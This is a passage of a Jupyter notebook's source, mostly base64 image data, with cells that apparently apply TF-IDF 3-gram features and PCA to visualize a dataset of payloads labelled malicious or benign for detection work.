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\nAAAAAElFTkSuQmCC\n",
      "text/plain": [
       "<matplotlib.figure.Figure at 0x7f155e4b1748>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "X = tfidf_vectorizer_3grams.fit_transform(payloads['payload'])\n",
    "Y = payloads['is_malicious']\n",
    "visualize_feature_space_by_projection(X,Y,title='PCA visualization of 3-grams TFIDFVectorizer feature space')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Custom feature space visualization"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 34,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "explained variance ratio (first two components): [ 0.3412141   0.49034105]\n"
     ]
    },
    {
     "data": {
      "image/png": "iVBORw0KGgoAAAANSUhEUgAAAeQAAAFXCAYAAABz8D0iAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3Xl4VdW9+P/3WnufKeckZCAEQkiAMGgFhKqgIraohdrq\n1Vq1Fi/WDtYvtd7qt6162yraarXqt6XaQX3a3qrt91Kv4nPvtb/705+0ojigFlBAUZkCmUPIdOY9\nrN8fByIRZAiEDHxez+Mj2fvsvdde55z9OWtWxhiDEEIIIfqV7u8ECCGEEEICshBCCDEgSEAWQggh\nBgAJyEIIIcQAIAFZCCGEGAAkIAshhBADgARk0Su1tbWceOKJXHTRRd3//dM//RNPPvlk92symQxL\nlizh4osv5qKLLuLCCy/kkUce4aMj7R5//HEmT57M2rVrDzsdy5cv58477zzi+/moZcuWce211wLw\nwx/+kFdeeaVX59mxYwfXX389AE1NTVxxxRVHLY0HsnjxYs455xx+8Ytf9Nk1XnjhBX75y1/2ybk9\nz2PRokXMnz+fP/3pT706x9tvv81tt912lFMmRN+x+zsBYvAKh8P853/+Z/ffTU1NXHDBBUyZMoXJ\nkyfzrW99i3HjxvGXv/yFUChEW1sb1157LclkkhtuuKH7uKVLl3LhhRfy6KOPMn369MNKw7nnnsu5\n55571O5pf+66665eH1tfX8/WrVsBKCsrY+nSpUcrWQf0l7/8hRdeeIGRI0f22TXWrVtHR0dHn5y7\nqamJlStXsnbtWizL6tU5Nm3aRFNT01FOmRB9RwKyOGrKysqoqqpi27ZtdHZ2smXLFh555JHuB2pR\nURH33nsvdXV13cesWrWKjo4Ovv/97/OZz3yGhoYGRo0atc+5r7jiCq6++mo++9nPAnD//fdjjKG6\nuppnn32Whx9+mOeee47f/va3KKWwLIubbrqJ0047jYULF3LllVd2H7v3308++SR/+ctfcByHjo4O\nrrnmGhYsWNDj2nteb1kWv/rVr7q3b9++nfPOO4/77ruPhx56iOeff55MJkMqleLmm2/mnHPO4Uc/\n+hFNTU18/etf54477uDCCy9kzZo1OI7DPffcw6uvvoplWUybNo1//dd/JRaLcc455/CFL3yBV199\nlYaGBs4//3xuuummffLkgw8+4Mc//jHt7e0opfja177GxRdfzIIFCzDGcM0117B48WJOPfXU7mNc\n1+W+++7jhRdewLIsZsyYweLFi3n44Ydpa2vrLlE++OCD3X/vL1+DwSBLly7F8zzy8/O58cYb+fWv\nf81f//pXLMti3Lhx3HrrrZSWlrJw4UJOOukkXnvtNVpbW7nqqqtobW3l9ddfJ5VKsWTJEiZPntyd\nxng8zje+8Q1c1+WSSy7hwQcfxHEc7rrrLtrb2/E8j4ULF3LppZfi+z4//elPeeutt0gkEhhjuPPO\nOykvL+eBBx6gq6uLf/3Xf+Xiiy/mJz/5Cc8880z3527P3w8++CBr166lubmZyZMnc//99/Pb3/6W\n5557Dt/3GT16NIsXL6asrKxH/re0tHDzzTfT1tYGwKc+9SluuOEGli1bxl//+ld836epqYmysjLu\nueceysrKWLt2Lffddx/ZbJaWlhbOPPNMfvrTnwLw97//nSVLluD7Pnl5edxxxx2ccMIJrF69mvvv\nv59UKoVSiuuvv565c+ce8LsoBikjRC/s2LHDTJ8+vce21atXm9NOO83U19eb3//+9+Zf/uVfDnqe\n73znO+aee+4xxhhzzTXXmHvvvXe/r3vyySfNN7/5TWOMMa7rmjlz5pitW7eap556qnv7ueeea9as\nWWOMMeall14yDz74oDHGmH/+5382//M//9N9rj1/x+Nxc/nll5tdu3YZY4xZs2ZN9z3tfd6PHm+M\nMcuXLzef+cxnTEtLi6mtrTULFy40qVTKGGPMM888Yy644AJjjDGvvfaa+fznP79Pnv3yl7803/72\nt002mzWe55lbbrnF3HrrrcYYY+bOndudJ42NjWbq1Klm+/btPa7vOI4599xzzbPPPtv9ujlz5pjV\nq1cbY4yZNGmSaW1t3ScfH330UXPllVeaVCplPM8z3/nOd8zTTz9tHnjgAXPHHXd0v27vvz8uX/d+\nzZNPPmm+9KUvmUQi0b3va1/7Wnf+ffvb3zbGGLN27VozadIks3z5cmOMMXfddZf50Y9+tE86984r\nx3HM5z73ObN+/XpjjDGdnZ3m/PPPN2vWrDGrV682119/vfE8zxhjzMMPP2yuvfbafd7Dvd+Hj/79\nwAMPmPnz5xvHcYwxxjz99NPmhhtu6P576dKl5hvf+MY+afzVr37V/Z4lEglzww03mM7OTvPUU0+Z\n6dOnmy1bthhjjLnvvvvM9ddfb4wx5sYbbzSvvfaaMcaYeDxuZs2aZdatW2daWlrMKaecYt555x1j\njDHPPvus+frXv27a29vNvHnzzI4dO7rf57PPPtvU1dXtkx4x+EkJWfRaOp3moosuAnJtfkVFRdx3\n332MGjUKrfU+bcUf1dLSwvPPP89TTz0FwMUXX8ztt9/OddddR15eXo/Xnn/++dx77720tLTwzjvv\nUFVVxdixY1m9enX3az7/+c/z7W9/m0996lPMnj2ba6655oDXj0ajPPTQQ6xYsYJt27axceNGksnk\nQe977dq13H777fzbv/0bw4cPB+BnP/sZ//3f/01NTU13ae1AXnzxRW688UYCgQCQK4Vfd9113fv3\nVMOXlZVRUlJCR0cHY8aM6d6/bds2MpkM8+bN637dvHnzeOmll5gxY8bHXveVV17hoosuIhwOA7Bk\nyRIgVyL+OIeSry+++CKXXHJJ9/t21VVX8dBDD5HNZgH4zGc+A9B9D3PmzAGgsrKS119//WOvvede\nt2/fzg9+8IPubel0mnfeeYcFCxYwbNgwli5dyo4dO1i1ahXRaPSA59uf6dOnY9u5x+Hf//531q1b\nxxe/+EUAfN8nlUrtc8ycOXP45je/SUNDA2eeeSbf/e53yc/PB2D27NmMGzcOgMsvv7z7e3LPPffw\n4osv8tBDD7FlyxbS6TTJZJLVq1czceJETjzxRADmzZvHvHnzWLFiBS0tLT0+G0op3nvvPcrLyw/7\nPsXAJgFZ9NpH25D3dvLJJ/Poo4/ieV6PNsC3336bxx9/nPvuu4//+I//AGDRokVA7sEXj8d5+umn\nufLKK3ucLy8vj/nz5/PMM8+wZs0aLrvssn2ueeONN3LppZeycuVKli1bxiOPPMKyZcsAevw4cBwH\ngMbGRr70pS9x+eWXc8opp/DZz36Wv//97we8561bt3L99ddz//33U11dDcCGDRv41re+xdVXX83s\n2bM57bTTuOOOOw54Ht/39/l7T7oAQqFQ97+VUvv8uPno8Xvu0XXdA153T9DZY+fOnfi+v8819k7L\ngfJ172t/NH17pyUYDPbYv+eHyKHwPI+CgoIen7WdO3eSn5/PCy+8wF133cVXv/pVzj33XMaPH89/\n/dd/7XOOA90f0OMHoO/7fOMb3+huushms/ttK582bRrLly/n1Vdf5bXXXuOyyy7j17/+NUCPz7zv\n+91/X3nllZxwwgnMmTOH888/n7feegtjDJZloZTqPsYYw3vvvYfneVRXV3d/VyDXvl5cXHxomScG\n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\ncUum9t+9iOOGBGQhxJBjxbfmgnGiHj9